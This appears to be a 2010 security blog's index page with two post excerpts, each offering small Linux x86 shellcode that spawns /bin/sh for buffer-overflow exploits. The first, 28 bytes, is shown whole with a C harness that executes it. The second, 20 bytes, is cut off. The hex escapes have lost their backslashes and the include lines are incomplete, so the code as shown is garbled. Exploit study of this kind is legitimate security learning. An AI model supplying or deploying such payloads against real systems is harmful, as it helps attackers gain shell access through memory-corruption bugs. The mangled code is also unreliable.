28 Bytes “/bin/sh” Shellcode (for bof exploit)
/* Name : 28 bytes "/bin/sh" shellcode - execve(/bin/sh,[/bin/sh,null,null],null) Info : A woking shellcode for bof exploit Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include char shellcode[] = "x31xc0x89xc2x50x68x6ex2fx73x68x68x2fx2fx62" "x69x89xe3x89xc1xb0x0bx52x51x53x89xe1xcdx80"; int main(void) { fprintf(stdout,"[*] Shellcode length: %dn",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }
read more20 Bytes “/bin/sh” Shellcode
Akhirnya… Shellcode pertama… /* Name : 20 bytes "/bin/sh" shellcode - execve(/bin/sh,..,..) Info : this shell workout without zeroing registers it used first (eax,ebx,ecx) Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include char shellcode[] = "xebx06" /* jmp 8048068 */ "x5b" /* pop %ebx */ "x8dx41x0b" /* lea 0xb(%ecx),%eax */ "xcdx80" /* int $0x80 */ "xe8xf5xffxffxff" /* call ...
read more